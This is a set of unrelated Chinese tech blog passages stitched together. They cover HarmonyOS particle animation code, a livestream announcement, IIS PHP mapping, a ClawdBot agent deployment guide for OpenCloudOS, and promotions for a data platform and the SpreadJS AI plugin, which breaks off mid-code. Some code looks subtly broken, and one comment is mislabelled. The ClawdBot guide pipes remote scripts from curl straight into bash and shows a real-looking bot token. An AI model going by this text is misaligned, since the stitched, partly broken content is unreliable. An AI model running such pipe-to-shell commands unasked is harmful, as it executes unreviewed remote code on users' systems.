    setInterval(() => {
      this.$forceUpdate();
    }, 16); // 16ms,约60fps
  }
}

class FireworkParticle extends Particle {
  angle: number;
  speed: number;

  constructor(x: number, y: number, angle: number, speed: number) {
    super();
    this.x = x;
    this.y = y;
    this.angle = angle;
    this.speed = speed;
  }

  update() {
    this.x += Math.cos(this.angle) * this.speed;
    this.y += Math.sin(this.angle) * this.speed;
    this.radius *= 0.96; // 逐渐减小粒子大小
  }
}

2、动态背景打造:沉浸式流星雨动画

流星雨效果可以通过生成向下移动的粒子来实现,以下代码展示了如何实现流星雨效果:

@Entry
@Component
struct MeteorShowerAnimation {
  @State particles: Array<MeteorParticle> = [];

  build() {
    Canvas()
      .width('100%')
      .height('100%')
      .onDraw((canvas) => {
        canvas.clearRect(0, 0, canvas.width, canvas.height);
        this.particles.forEach((particle) => {
          particle.update();
          canvas.beginPath();
          canvas.arc(particle.x, particle.y, particle.radius, 0, Math.PI * 2);
          canvas.fillStyle = particle.color;
          canvas.fill();
        });
      })
      .onAppear(() => {
        this.startMeteorShower();
      })
  }

  startMeteorShower() {
    setInterval(() => {
      this.particles.push(new MeteorParticle(Math.random() * 300, 0));
      this.$forceUpdate();
    }, 100); // 每100ms生成一个流星
  }
}

class MeteorParticle extends Particle {
  constructor(x: number, y: number) {
    super();
    this.x = x;
    this.y = y;
    this.velocityY = Math.random() * 5 + 2;
  }

  update() {
    this.y += this.velocityY;
    if (this.y > 300) {
      this.y = -10; // 重置到屏幕顶部
    }
  }
}

结束语

通过本文的详细介绍,随着 HarmonyOS 全场景生态的持续演进,粒子动画已从 “锦上添花” 的视觉点缀,成为构建沉浸式交互体验的核心技术。本文从技术原理、核心组件、性能优化到场景实战,系统呈现了 HarmonyOS 粒子动画的完整开发路径。对于开发者而言,掌握粒子动画技术不仅能让应用在视觉上脱颖而出,更能通过细腻的动态反馈提升用户的情感连接与操作沉浸感。在万物互联的未来,粒子动画还将在车载 HMI、智能家居中控、可穿戴设备等场景中发挥更大价值 。希望本文能成为你探索 HarmonyOS 视觉交互的起点,在打造全场景智能应用的道路上,用粒子动画为用户创造更多惊喜。

2025 至 2026 年,AI 行业进入一个高度繁荣却极不稳定的阶段:新模型、新名词、新范式平均每 7 到 14 天便迎来一次换代,Prompt、Agent、MCP、Skill、桌面自动化、Clawdbot 等概念层出不穷。这导致大量个人开发者、内容创作者和创业者陷入“跟不跟都焦虑”的困境,其核心矛盾已非“AI 迭代不够快”,而在于“人的判断速度完全跟不上技术变化的速度”。

在这场看似疯狂的技术马拉松中,难道真的只能跟着潮流跑,永远焦虑地追逐下一个热点吗?有没有可能找到一种方法,既能保持对技术的敏感,又能守住自己的判断体系?2026 年 2 月 9 日 17:30,InfoQ 联合模力工场,邀请两位独特视角的实践者——极客邦科技|模力工场创始人霍太稳ShipAny.ai /WorkAny.ai/ 《这就是 MCP》作者 艾逗笔展开一场关键对话。主题直击核心痛点:2026 AI 狂飙赛道生存法则,抓住 AI 洪流中的“慢变量”。

01 从焦虑到笃定:当“极速进化”成为常态

技术演进的加速度达到了前所未有的水平。从 Prompt 到 MCP,从 Skill 到 Agent/Clawdbot,每隔几周就会出现一套全新的技术叙事,让许多从业者不知所措。

事实上,这种“新词疲劳”已经成为当前 AI 行业普遍的焦虑之一。许多人在技术浪潮中迷失方向,不知道哪些趋势真正具有长期价值,哪些不过是昙花一现的概念炒作。

这正是本次直播的核心出发点:帮助开发者、创作者与创业者在 2026 年汹涌的 AI 浪潮中,建立起一套不被冲走的理性判断框架。我们希望通过这场对话,为行业厘清脉络、指明方向,讲清楚什么是真正值得追随的趋势,而什么又只是一阵过眼之风。

02 实战拆解:Vibe Coding 一周,做了个桌面 Agent

理论之外,本次直播还将带来极具启发性的实战分享。idoubi 将展示其最新作品 WorkAny ——一个仅用一周时间、基于 Vibe Coding 开发的桌面 Agent 工具。

他不仅会分享开发过程的心得,更会线上投屏实操,展示 WorkAny 的具体用法和玩法,为观众呈现从创意到实现的高效路径。这一部分将打破许多人“只有大团队才能做复杂应用”的刻板印象,展示个人开发者在 AI 时代的独特优势。

03 关键议题:个人开发者如何把握 2026?

当技术以每两周一次的速度更新迭代,个人开发者如何找到自己的立足点?

  • 2026 年,个人开发者只做 1 件事,应该是什么?

  • 如果今天才入场,还来得及吗?

  • 哪些能力,比模型能力本身更重要?

这些正是许多开发者在当前环境下最困惑的问题。直播的后半段将专门回答观众提问,同时也会基于模力工场社区收集的用户问题进行深入探讨,为每个身处 AI 浪潮中的人提供实际可操作的生存指南

在这个 AI 狂飙的时代,最稀缺的或许不是最新的技术,而是穿透现象看本质的理性判断力。如果你也厌倦了被技术洪流裹挟前进的状态,渴望找到属于自己的恒定价值锚点,那么这场对话将为你提供值得参考的答案。

直播时间:2026 年 2 月 9 日(周一)17:30-18:30

直播平台模力工场视频号、InfoQ 视频号、AI 前线视频号、霍太稳视频号

直播主题:模力慢变量——2026 AI 狂飙赛道生存法则,抓住 AI 洪流中的“慢变量”

对谈嘉宾

  • 霍太稳(极客邦科技创始人 | 模力工场创始人 | 技术社区构建者)

  • 艾逗笔(独立开发者 | ShipAny.ai / WorkAny.ai/ 《这就是 MCP》作者)

2 月 9 日下午 5 点半,让我们一起在这场对话中寻找 AI 时代的“慢变量”,告别焦虑,拥抱未来。

扫码关注视频号,预约直播,模力慢变量,等你来发现!

Windows Server 不使用 xmapp、XP 面板支持 PHP 的方法。

首先安装 IIS,新建一个网站
然后点开这个网站
image
打开处理程序映射
image
添加模块映射
image
将所有*.php 的路径映射到 php-cgi.exe 程序进行处理。
image
测试访问。

想象一下,凌晨 3 点,你的服务器某个服务挂了。

以前:报警短信把你吵醒 -> 强撑睡意打开电脑 -> SSH 连上服务器 -> 敲命令排查 -> 重启服务 -> 继续睡(如果睡得着的话)。

现在:你的手机收到一条企业微信消息:

Hi 主人,您 IP 172.20.2.22 的服务器挂啦!“检测到 PHP-FPM 假死,已尝试重启服务并恢复,日志显示可能是内存泄漏导致的。建议后续排查这段代码...”

这不是科幻,这就是 ClawdBot (Moltbot) —— 一个能真正“干活”的 AI Agent。而把它部署在 OpenCloudOS 上,你就拥有了一个永不掉线、极其稳定的“全能数字员工”。

一、 为什么要用 OpenCloudOS 跑 ClawdBot?

ClawdBot 基于 MCP 协议,它是一个运行在你服务器上的 AI 代理程序 。无论是执行 Shell 命令、提交 Git PR、操作数据库,还是连接 Telegram 等随时听候调遣,亦或是安装 "Skills"技能插件,学会任何新本事,对它来说,皆不在话下。

所以,近期 Clawdbot 火爆全网,是因为它让人们真正意识到“AI 秘书”可以走进生活和工作。很多朋友在 MacBook 上尝鲜 ClawdBot,但真正能发挥它威力的战场,其实是服务器。OpenCloudOS 原生的 Linux 环境加上 ClawdBot 的执行力,能产生更多奇妙的化学反应。文章开头举例的场景只是其一。

  • 你可以让它写代码 :配合 code-edit 技能,直接在服务器上修改 Nginx 配置。
  • 你可以让它做监控 :写个 Cron Job,让它每天早上 9 点给你发一份服务器健康日报。
  • 你可以让它管应用 :配合 Docker 技能,一句话部署一个新的 WordPress 站点。

二、5 分钟在 OpenCloudOS 9 上部署 Clawdbot

2.1 安装 Node.js

先使用 nvm 安装最新的 Node.js

 # 升级npm 
 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash 
 source ~/.bashrc 
 nvm install 22 
 nvm use 22 
 nvm alias default 22
 
 # 验证 Node.js 版本:
 node -v # Should print "v22.22.0".
 # 验证 npm 版本:
 npm -v # Should print "10.9.4".

2.2 安装 Clawdbot

# 自动安装
curl -fsSL https://molt.bot/install.sh | bash 

# 也可手动安装
npm i -g clawdbot
# 并手动打开交互命令
clawdbot onboard

b5e67c5c14849c97b49e74dcded0f151.png
79c475dca9f5c7a30f5d81a0ae18a0ff.png

2.3 配置 Clawdbot

因配置环节流程较多,OpenCloudOS 经筛选后仅展示关键配置,其余配置暂时未做展示。用户可根据个人需求和喜好自行进行配置。注意:如果配置过程中不慎退出,执行 clawdbot onboard 命令以继续。

2.3.1 模型选择

Clawdbot 支持了各大 LLM 公司的模型,也支持本地模型,包括 Ollama 和 LM Studio,你可以按自己的喜好/场景来决定使用。

9a931f498c20bf4181f2d23ce76798e9.png

备注:如果你有 token\_api 可以选择其他,如果想免费体验,可以选择 Qwen。这里,OpenCloudOS 以 Qwen 进行示例。

当出现下面链接时,请点击并前往 Qwen 网站进行认证关联:

ad5828a06c92b9a3d54c9eeb1e9a0e7f.png

2.3.2 即时 IM 选择

接下来是选择即时 IM 渠道,请根据您的使用场景或喜好选择。如果您没有这些软件或不考虑这些场景,可以先跳过,后文我们将演示如何支持企业微信。
8ff2a7116954c994e4d96ebb5441b31b.png

2.3.3 hooks 安装

官方使能的 3 条 hooks 建议都安装上:

2546a73e4cf59860457ebc7d5721e213.png

2.3.4 昵称配置

启动后你告诉 Clawdbot 它对你的称呼,和它的称呼:

9b0595515f0dc4bd015c5f0f3a14cd71.png

按两次 ctrl+c 退出该引导界面。

2.3.5 Clawbot 运行状态确认
# 查看clawbot是否在后台运行
clawdbot health
# 查看模型状态,是否连上了大模型
clawdbot models list
# 查看聊天通道,比如qq,企业微信等
clawdbot channels list

e7c765abba4c03680228ccd91c44ff36.png

1a6290ce5379fa0b3e999286bea6eab7.png

这里提示的 Qwen 的 channel,这是正常的,后文会配置企业微信相关的 channel。

80811636dc06940e5cda0a8ef0cbc907.png

2.3.6 访问 web 界面

先做一个端口转发才能访问 web 界面

# clawbot只能通过locahost方式访问
ssh -L 18789:127.0.0.1:18789 root@你的服务器公网ip
# 再获得token
clawdbot dashboard

?/toeken=xxxxx 后面就是 token

febfff8a45d136dd8a0381fa8d26b5a2.png

直接在浏览器输入 127.0.0.1:18789/?token=xxxxxx 就能够访问 web 界面了

f494802c33f8668270906f9d65f20e76.png

三、实战点亮 OC9+Clawdbot 技能树

3.1 接入企业微信

Clawbot 原生基本只支持国外社交软件,可以通过插件的方式来支持国内的社交软件。这里我们以企业微信为例,演示接入教程。

# 首先下载clawbot 插件
clawdbot plugins install @william.qian/simple-wecom
# 相关插件详细使用信息
# https://www.npmjs.com/package/@william.qian/simple-wecom 

# 重启 clawbot 来加载插件
clawdbot gateway restart
# 查看企业微信插件运行是否加载
clawdbot plugins list | grep -i wecom

c619bbac8fb01f12b550359024dd5cde.png

36c8a1b54aee6a53858b59eb6978b200.png

接下来需要在企业微信里创建一个一个应用,这一步需要企业微信开发者中心先在这里创建一个应用。

55a81c9571ae258c8120840333e7384a.png

选择个人

afc0b914722b76cb10becd00e4978feb.png

配置企业微信应用相关信息,首先获取如下信息:

1. 登录 企业微信管理员后台

2. 在"我的企业"中查看 企业 ID (CorpID)

3. 进入"应用管理" → 选择或创建应用

4. 在应用详情页获取:AgentId:应用 ID;Secret:点击"查看 Secret"获取

5. 在"接收消息"设置中获取:Token:点击"随机获取";EncodingAESKey:点击"随机获取"。

在服务器上输入如下命令:

# 企业微信应用配置(必需)
clawdbot config set channels.simple-wecom.corpid "你的企业ID"
clawdbot config set channels.simple-wecom.agentid "你的应用ID"
clawdbot config set channels.simple-wecom.corpsecret "your-corp-secret"
clawdbot config set channels.simple-wecom.token "your-token"
clawdbot config set channels.simple-wecom.encodingAESKey "your-aes-key"
clawdbot config set channels.simple-wecom.enabled true 

clawdbot config set gateway.bind lan
clawdbot gateway restart

如上执行后点击保存,企业微信会回发送 token 和 AESKey 和 Clawdbot 服务器进行匹配:

4e2380f160dc50730a8d2dd6645e1b19.jpg

如果匹配成功界面如下

6919a21d518ae0343d3483e940b687fb.png

在企业微信里找到相关应用,直接和他聊天

714342e08b277f809f55e75b16bf5e2c.png

可以看到 Clawdbot 确实识别到了相关的用户和请求

8fd472959ae7200fde0b2fb710fa317b.png

e2935daf016c7d9c8dcb88bb9ed0602d.png

让 ClawdBot 创建一个定时任务:

c239f0f4608c95a6c87a5292f0b35761.png

可以看到确实创建完成了。

94ece971d08021642ccec7f89a882b9c.png

3.2 接入 QQ

QQ 更方便个人用户使用,OpenCloudOS 也提供一个接入 QQ 的场景。先在https://github.com/sliverp/qqbot# 插件官网下载 zip 安装包,上传到服务器,并解压。

# 先从github下载安装包
wget https://github.com/sliverp/qqbot/archive/refs/heads/main.zip
# 如果上面的连接不行,用加速链接
wget https://ghfast.top/https://github.com/sliverp/qqbot/archive/refs/heads/main.zip

# 解压并安装
unzip main.zip && clawdbot plugins install ./qqbot-main/

3b2365b5d4e199f1bc5a06423c9dbddf.png

创建 QQ 机器人:

访问 QQ 开放平台

获取 AppID 和 AppSecret(ClientSecret)

Token 格式为 AppID:AppSecret,例如 102146862:Xjv7JVhu7KXkxANbp3HVjxCRgvAPeuAQ

84407ac997a487305b3fc45427cd009b.png

#方式一:交互式配置,选择 qqbot,按提示输入 Token
clawdbot channels add
#方式二:命令行配置
clawdbot channels add --channel qqbot --token "AppID:AppSecret"
# 示例
clawdbot channels add --channel qqbot --token "102146862:xxxxxxxx"

f4e6816e8d9801b48cf0b8c7dcd7d5d1.png

配置好后在 qq 开发平台里的,沙箱配置里先点击添加成员再扫描二维码就能和 ClawdBot 沟通,并安排他工作了

26f6eda19cdaf3912bcf4f96d7b61d73.png

175ed758febaaf4e4c117a8b983ca28c.jpg

OpenCloudOS 和 Clawdbot 能碰撞出的火花远不止于此,欢迎社区伙伴们加入 OpenCloudOS 社区用户群(搜索社区小助手微信号:OpenCloudOS,即可进群),一起参与更多可能性的探讨。

即日起至 2 月 6 日,凡在 OpenCloudOS 9 成功部署 Clawdbot ,并体验其扩展技能/反馈部署建议者,即有机会获得由社区赠送的精美礼品一份!欢迎加小助手了解体验活动详情。

参考链接


OpenCloudOS 开源社区是由操作系统、云平台、软硬件厂商与个人携手打造中立开放、安全稳定且高性能的 Linux 操作系统及生态。目前已实现从源社区、商业版、到社区稳定版全链路覆盖,旨在输出经海量业务验证的企业级稳定操作系统版本,为行业解决国产操作系统上下游供应问题,促进基础软件可持续发展。

在越来越多企业推进 AI 应用落地的过程中,一个共识正在逐渐形成:model-centric 的发展已经达到一定瓶颈,那么现在决定 AI 应用效果的就是数据是否完备了。尤其在真实业务场景中,AI 面对的从来不是“干净、规整的结构化表”,而是大量分散、异构、跨介质的多模态数据——合同、图片、音视频、扫描件、日志、文本记录,与少量结构化指标交织共存。如果这些数据无法被系统性管理和加工,AI 就只能停留在 Demo 阶段,难以真正走向规模化应用。

一、AI 时代的数据挑战:构建多模态数据底座

在银行、制造、政企等行业,我们看到大量企业已经完成了数仓建设,也开始尝试引入大模型、知识库或智能分析能力,但很快便遇到相似的问题:

  • 非结构化数据分散在对象存储或文件系统中,只能依赖“人工查找”
  • 数据无法被统一检索、关联和追溯,模型输入高度不可控
  • 每一个 AI 场景都在重复进行数据准备,成本高、周期长、难以持续

从本质上看,这并不是 AI 工程能力不足,而是企业的数据体系仍停留在“结构化时代”。

而 AI 时代的数据底座,必须天然支持多模态。

二、多模态数据平台:AI 的“可控输入层”

多模态,并不等同于“把文件直接喂给模型”。真正决定 AI 能否长期可用的,是几个更基础的问题:

  • 数据是否具备清晰、稳定的业务语义
  • 数据是否可以被检索、筛选和灵活组合
  • 数据的来源、加工过程是否完整可追溯

只有在这些条件之上,AI 才能建立在“可信数据”之上,而不是一个不可解释、不可复用的黑箱。

这正是袋鼠云数栈在多模态方向上的核心定位:为 AI 提供一个可治理、可复用、可持续演进的数据底座,而不是一次性的场景工具。

三、数栈多模态数据智能平台:从数据治理到 AI 应用的统一通路

数栈 DataZen 多模态数据智能平台,源于成熟的结构化数仓体系,并在此基础上向多模态数据能力自然演进,帮助企业统一解决多模态数据的采集、加工、治理与应用问题。

平台并不围绕某一个模型或 AI 框架展开,而是始终聚焦于数据本身:

  • 让多模态数据第一次以“数据资产”的形式进入企业数据体系
  • 让 AI 的每一次使用,都建立在可追溯、可解释的数据基础之上

1.面向多模态的统一计算与存储底座

多模态数据,对底层能力的要求天然多样。

在数栈中,用户可以统一配置和管理:

  • 结构化存储(如 HDFS)与非结构化对象存储(如 MinIO)
  • 基于 Kubernetes 的统一资源调度能力
  • 多种计算模型并行协作:
    ①Spark / Flink / MPP 处理结构化计算
    ②Ray 承载文本、图片、音视频等非结构化数据处理

图片

这样的架构设计,并非为了追求“技术先进性”,而是为了更好地适应 AI 场景中不断变化的数据形态与处理需求。

2.让非结构化数据真正进入数据体系

2.1.统一接入

数栈支持将文件系统、对象存储以及各类结构化数据源统一接入平台,打破数据形态之间的物理隔离。

图片

通过数据同步任务,用户可进行结构化数据与非结构化数据的同步。

图片

2.2.数据集化管理

文本、图片、音频、视频等数据,不再只是文件目录,而是以“数据集”的方式被创建、管理和版本化,为后续加工和 AI 使用奠定基础。

图片

2.3.面向 AI 的多模态数据开发能力

在数据开发阶段,数栈为不同模态提供了最适配的处理方式:

  • 结构化数据通过 SQL 完成规则计算与指标处理
  • 非结构化数据通过 Ray 算子完成解析、切分与转换

更关键的是,二者可以在同一工作流中被编排和关联。

图片

以知识库或智能风控场景为例:

  • 先对合同、说明文档、影像资料进行解析与要素抽取
  • 再与结构化业务数据进行关联与筛选
  • 最终生成可被模型稳定消费的高质量输入数据集

图片

这使得 AI 场景中的数据准备,从“一次性工程”转变为“可持续复用的能力”。

2.4.为 AI 打造可信的数据资产体系

在多模态场景下,数栈构建了统一的数据资产与元数据体系:

  • 自动解析多模态数据的结构与内容
  • 构建全文索引与向量索引
  • 支持基于元数据、内容和向量的综合检索

图片

数据血缘、加工过程和业务语义被完整保留,使每一份被 AI 使用的数据都可回溯、可解释。

图片

2.5.连接 AI 平台,而非绑定模型

经过治理和加工的数据资产,可以被推送至外部 AI 平台和知识库系统中,作为模型训练、推理和 RAG 应用的稳定数据来源。数栈并不绑定特定模型或厂商,而是通过标准化的数据输出能力,让企业可以根据自身节奏灵活演进 AI 技术路线。

四、哪些企业最容易在 AI + 多模态上取得效果?

  • 已启动 AI 项目,但受限于数据质量与准备效率的企业
  • 拥有大量文档、影像、音视频资产的行业客户
  • 希望构建企业级知识库与智能分析能力的组织
  • 对数据合规性、可追溯性要求较高的业务场景

在 AI 时代,真正拉开差距的,并不是模型参数的规模,而是数据底座的成熟度。数栈希望通过一套面向未来的多模态数据平台,帮助企业为 AI 提前准备好可以长期使用的数据基础设施。

一、行业惊雷:十亿级赛道的 AI 新战场

2026 年初,硅谷顶级投资基金 Altimeter Capital 的一则观点引发全球科技圈震动:继编程之后,电子表格正成为 AI 下一个“超级垂直领域”。这一判断并非空穴来风——公开数据显示,全球电子表格月活跃用户已达 15-16 亿,远超编程领域 2900 万开发者的规模;而软件行业 1 万亿美元市场中,近半数应用本质上都是“Excel 封装层”,从 CRM 到财务工具,从运营分析到科研数据处理,电子表格的渗透力无处不在。

更关键的是,电子表格天然具备“产品驱动增长”的基因。正如编程领域凭借“自下而上”的传播模式,诞生了 4 家年经常性收入(ARR)超 10 亿美元的巨头,电子表格用户同样拥有直接的工具选择权和预算支配权——尤其是金融行业 1.5 亿高价值从业者,他们对生产力工具的付费意愿极强,且能快速感知 AI 带来的效率提升。OpenAI、Anthropic 等巨头的加速布局,恰恰印证了这一赛道的巨大潜力。
在这里插入图片描述
在这里插入图片描述

在中国市场,这一趋势更为明显。金山 WPS 全球月活设备已达 6.32 亿,微软 Office 在中国企业市场的渗透率超 90%,加上谷歌 Workspace 的付费客户突破 1100 万,构成了全球最庞大的电子表格用户基数。但与此同时,开发者们正面临双重困境:一方面,传统表格工具的公式编写、数据分析门槛过高,非技术用户难以驾驭;另一方面,现有 AI 工具多为独立应用,缺乏与表格场景的深度融合,集成成本高、适配性差。

正是在这样的行业背景下,葡萄城 SpreadJS 推出的 AI 插件,不仅精准命中了开发者的核心痛点,更以“表格原生 AI”的创新模式,成为 AI 电子表格赛道的先行者。作为深耕表格技术 20 余年的国产化控件领军者,SpreadJS 的 AI 布局并非跟风,而是基于其强大的表格内核能力,对开发者效率的一次颠覆性重构。

二、根基所在:SpreadJS 的表格内核与 AI 基因

要理解 SpreadJS AI 插件的核心优势,首先需要明确其底层逻辑:AI 并非独立于表格的附加功能,而是深度融入表格操作全流程的“智能助手”。这一模式的实现,离不开 SpreadJS 多年积累的三大核心能力:

在这里插入图片描述

1. 国产化兼容的全功能表格内核

SpreadJS 是国内唯一实现与 Excel 高度兼容的前端表格控件,支持 450+Excel 公式、数据透视表、条件格式、图表等核心功能,同时适配 Vue、React、Angular 等所有主流前端框架,以及移动端、桌面端、云端等多终端场景。这种兼容性意味着开发者无需重构现有表格系统,即可无缝集成 AI 能力——这对于国内大量依赖 Excel 进行业务流转的企业而言,是降低迁移成本的关键。

在这里插入图片描述

2. 高度可编程的开放式架构

SpreadJS 提供完整的 API 体系和插件生态,支持自定义函数、单元格渲染、数据校验等深度定制需求。这种可编程性使其能够灵活对接各类 AI 模型(包括 OpenAI、Claude、DeepSeek 等主流模型,以及国产化大模型),开发者可根据业务需求选择合适的 AI 服务,无需受限于单一供应商。这种开放性在国产化替代浪潮中尤为重要,能够满足企业对数据安全和模型自主可控的要求。

3. 企业级的数据处理性能

针对中国企业常见的大数据场景,SpreadJS 支持百万级数据的前端渲染和实时计算,配合虚拟滚动、按需加载等优化技术,即使在复杂报表和大规模数据分析场景下,也能保持流畅的操作体验。这为 AI 功能的落地提供了性能保障——无论是批量文本翻译、复杂公式生成,还是大数据量的透视表分析,都能快速响应,避免卡顿。

正是基于这三大核心能力,SpreadJS AI 插件实现了“表格+AI”的深度融合,而非简单的功能叠加。其插件化设计让开发者可以按需集成 AI 能力,既保护了现有系统投资,又能快速提升产品竞争力,完美契合了国内企业“渐进式数字化转型”的需求。

三、核心突破:SpreadJS AI 插件的三大杀手级功能

SpreadJS AI 插件的核心价值,在于将复杂的 AI 技术转化为开发者可直接调用的“低代码工具”,覆盖公式处理、数据分析、文本处理三大核心场景,让开发者无需具备 AI 专业知识,即可快速实现智能表格应用。

1. 零代码门槛的三大 AI 内置函数

SpreadJS AI 插件提供 SJS.AI.TRANSLATE、SJS.AI.TEXTSENTIMENT、SJS.AI.QUERY 三个开箱即用的内置函数,覆盖多语言处理、情感分析、自然语言查询等高频场景,无需编写复杂逻辑,直接通过单元格公式即可调用。

在这里插入图片描述

(1)SJS.AI.TRANSLATE:多语言批量翻译

在全球化业务场景中,跨国报表本地化、多语言用户反馈处理是常见需求。传统方式需要手动复制文本到翻译工具,效率低下且易出错。SJS.AI.TRANSLATE 支持批量翻译单元格区域文本,支持 20+主流语言,且能保留原有的数据格式和排版。

应用场景:电商平台的多语言评论处理、跨国企业的财务报表本地化、外贸订单的合同条款翻译。

(2)SJS.AI.TEXTSENTIMENT:智能情感分析

用户反馈分类、舆情监测、客户满意度评估等场景,需要对大量文本进行情感判定。SJS.AI.TEXTSENTIMENT 支持自定义情感标签(如“好评/差评/中性”“积极/消极”),自动分析单元格文本的情感倾向,准确率达 95%以上。

应用场景:客服系统的用户反馈分类、电商平台的商品评价分析、企业内部的员工调研统计。

(3)SJS.AI.QUERY:自然语言数据查询

非技术用户往往难以编写复杂的 Excel 公式,而 SJS.AI.QUERY 允许通过自然语言指令直接获取数据结果,无需记忆函数语法。无论是数据统计、信息提取,还是常识查询,都能快速返回结构化结果。

应用场景:市场调研的数据快速统计、行政部门的日程查询、财务人员的基础数据计算。

这三大函数的设计遵循“零代码、高复用”原则,开发者无需关注 AI 模型的调用细节,只需像使用普通 Excel 函数一样嵌入表格,即可让非技术用户享受 AI 带来的便利。同时,函数支持批量处理和跨单元格引用,完全适配企业级的大规模数据处理场景。

2. AI 公式助手:让复杂公式“开口说话”

公式编写是表格应用的核心痛点之一。Excel 的高级函数(如 INDEX+MATCH、LET、SUMIFS 等)语法复杂、逻辑嵌套深,即使是资深开发者也需要反复调试。SpreadJS AI 插件的公式助手功能,通过“生成+解释”双向赋能,彻底降低了复杂公式的使用门槛。

(1)公式自动生成:自然语言转公式

开发者或用户只需用中文描述需求(如“找出 B6:G6 中高频出现的数字”“根据销售额大于 20000 的条件筛选区域”),AI 即可自动生成对应的表格公式,支持 450+Excel 原生函数和行业特定函数(如财务领域的 XIRR、MIRR)。生成的公式基于海量知识库训练,准确率达 98%,可直接复用或二次修改。

实战案例:某零售企业的销售数据分析系统中,开发者需要实现“筛选销售额总计大于 20000 的区域”功能。通过 SpreadJS AI 公式生成,只需输入自然语言需求,即可自动生成公式:

=FILTER(UNIQUE(销售[所属区域]),SUMIFS(销售[销售额(元)],销售[所属区域],UNIQUE(销售[所属区域]))>20000)

在这里插入图片描述

无需手动编写复杂的 FILTER 和 SUMIFS 嵌套逻辑,极大提升了开发效率。

(2)公式智能解释:复杂公式分步拆解

对于已有的嵌套公式,AI 公式助手能够自动分步拆解逻辑流程,解释变量定义、条件判断规则和返回结果含义。例如,针对成绩评级公式=LET(score,B2,IF(score>=90,"A",IF(score>=80,"B",IF(score>=70,"C",IF(score>=60,"D","F"))))),AI 会拆解为:

  1. 定义变量 score,取值为 B2 单元格的成绩;
  2. 嵌套 IF 语句判断等级:90 分及以上为“A”,80-89 分为“B”,依次类推;
  3. 60 分以下返回“F”。

这一功能不仅降低了开发者的公式学习成本,更方便团队协作中的公式复用和维护——新人无需反复询问即可理解旧代码中的复杂公式逻辑。
在这里插入图片描述

3. 对话式透视表:数据分析无需“拖拽”

数据透视表是企业数据分析的核心工具,但传统透视表需要手动拖拽行、列、值字段,操作复杂且耗时。SpreadJS AI 插件的对话式透视表功能,支持通过自然语言指令自动生成透视表,并提供智能分析能力,让数据分析像聊天一样简单。

(1)自动生成透视表

用户只需输入业务需求(如“按照销售渠道和产品类别统计华东区域的销售额”“按出游类型和组织方式统计游客数量”),AI 即可自动识别数据源中的字段关系,生成对应的透视表布局,无需手动配置字段映射。生成的透视表支持 Excel 所有原生功能,包括筛选、排序、数据钻取等。
在这里插入图片描述

(2)智能数据分析

基于生成的透视表,用户可进一步输入业务问题(如“办公用品类别中每个区域哪个渠道表现最好”“找出销售额最高的前三个产品”),AI 会自动分析数据并返回结构化结论,同时提供数据支撑。例如,针对办公用品销售数据,AI 会输出“华东区域经销商渠道表现最佳,销售额 24386 元;东北区域线下门店优势明显,销售额 11965.5 元”等结论,并列出详细数据表格。

应用场景:财务部门的月度营收分析、运营团队的渠道效果评估、市场部门的用户行为分析。对于需要快速生成决策支持数据的场景,效率提升可达 80%以上。
在这里插入图片描述

此外,透视表功能还支持视图保存与加载,开发者可将常用的分析逻辑保存为模板,后续无需重复生成,进一步提升工作效率。

四、实战落地:三大典型场景的效率革命

SpreadJS AI 插件的价值,最终体现在具体的业务场景中。以下三个典型案例,展现了其如何解决中国开发者的实际痛点,实现从“能用到好用”的跨越。

场景 1:财务报表自动化系统

行业痛点:财务人员需要处理大量 Excel 报表,包括多语言报表本地化、复杂财务公式编写(如折旧计算、税务核算)、报表数据透视分析等,工作繁琐且易出错;开发者需要为不同财务场景定制公式和报表模板,开发周期长。

SpreadJS AI 解决方案

  • 利用 SJS.AI.TRANSLATE 函数,自动将跨国公司的财务报表翻译成中文,保留原有的公式和格式,避免手动翻译导致的错误;
  • 通过 AI 公式助手,财务人员直接用自然语言描述需求(如“计算固定资产年折旧额(直线法)”),即可生成对应的财务公式,无需记忆复杂的折旧计算公式;
  • 对话式透视表自动按部门、科目统计营收数据,财务人员输入“分析各部门季度费用占比”,即可快速获取分析结论,支撑预算决策。

效果:报表处理效率提升 70%,公式编写错误率降至 1%以下,开发者的报表模板开发周期从 1 周缩短至 1 天。

场景 2:电商平台用户反馈分析系统

行业痛点:电商平台每天产生海量用户评论,需要分类统计好评、差评、中性评价,提取关键反馈(如物流慢、产品质量问题),传统方式依赖人工标注,效率低下;开发者需要定制复杂的文本处理逻辑,开发成本高。

SpreadJS AI 解决方案

  • 利用 SJS.AI.TEXTSENTIMENT 函数,批量分析用户评论的情感倾向,自动分类为“好评”“差评”“中性”,支持自定义标签(如“物流问题”“质量问题”);
  • 通过 SJS.AI.QUERY 函数,提取评论中的关键信息(如“统计提到‘物流慢’的评论数量”“找出用户最满意的产品功能”);
  • 对话式透视表按产品类别、评论情感、反馈关键词生成分析报表,运营人员输入“分析近 30 天手机类产品的主要投诉点”,即可快速获取数据支撑。

效果:用户反馈处理效率提升 90%,开发者无需编写复杂的文本处理和数据分析逻辑,系统上线周期从 1 个月缩短至 2 周。

场景 3:企业内部低代码工具平台

行业痛点:企业内部工具平台需要满足不同部门的个性化数据处理需求,非技术用户难以自行编写公式和生成报表,依赖 IT 部门支持,响应速度慢;开发者需要频繁定制功能,维护成本高。

SpreadJS AI 解决方案

  • 基于 SpreadJS 的可编程架构,将 AI 插件集成到低代码平台中,非技术用户可通过自然语言生成公式、创建透视表,无需 IT 支持;
  • 开发者通过 SpreadJS 的 API 自定义 AI 函数(如结合企业私有数据的“客户信用评级”函数),扩展 AI 能力;
  • 支持多终端适配,员工可在电脑端、移动端随时处理数据,生成分析报告。

效果:IT 部门的支持需求减少 60%,非技术用户的自助数据分析能力提升 80%,开发者的维护成本降低 50%。

五、差异化优势:为什么是 SpreadJS?

在 AI 电子表格赛道中,SpreadJS AI 插件的核心竞争力并非单一功能的领先,而是基于“开发者视角”的全流程赋能,其差异化优势体现在三个维度:

1. 原生集成,而非“外挂”

与市面上独立的 AI 表格工具不同,SpreadJS AI 插件是基于表格内核的原生功能,无需跳转至第三方平台,所有 AI 操作都在表格内部完成。这种原生集成带来两大优势:一是数据无需外泄,保障企业数据安全(尤其符合国内数据合规要求);二是操作流程无缝衔接,用户无需切换工具,学习成本低。

2. 开发者友好的低代码集成

SpreadJS AI 插件提供极简的集成方式,支持前端直接调用或服务端部署,开发者只需添加几行代码即可完成集成:

// 前端集成示例
<script src="xxxx/spread-sheets-ai-addon/dist/gc.spread.sheets.ai.min.js"></script>
// 注册AI服务
spread.injectAI(async (requestBody) => {
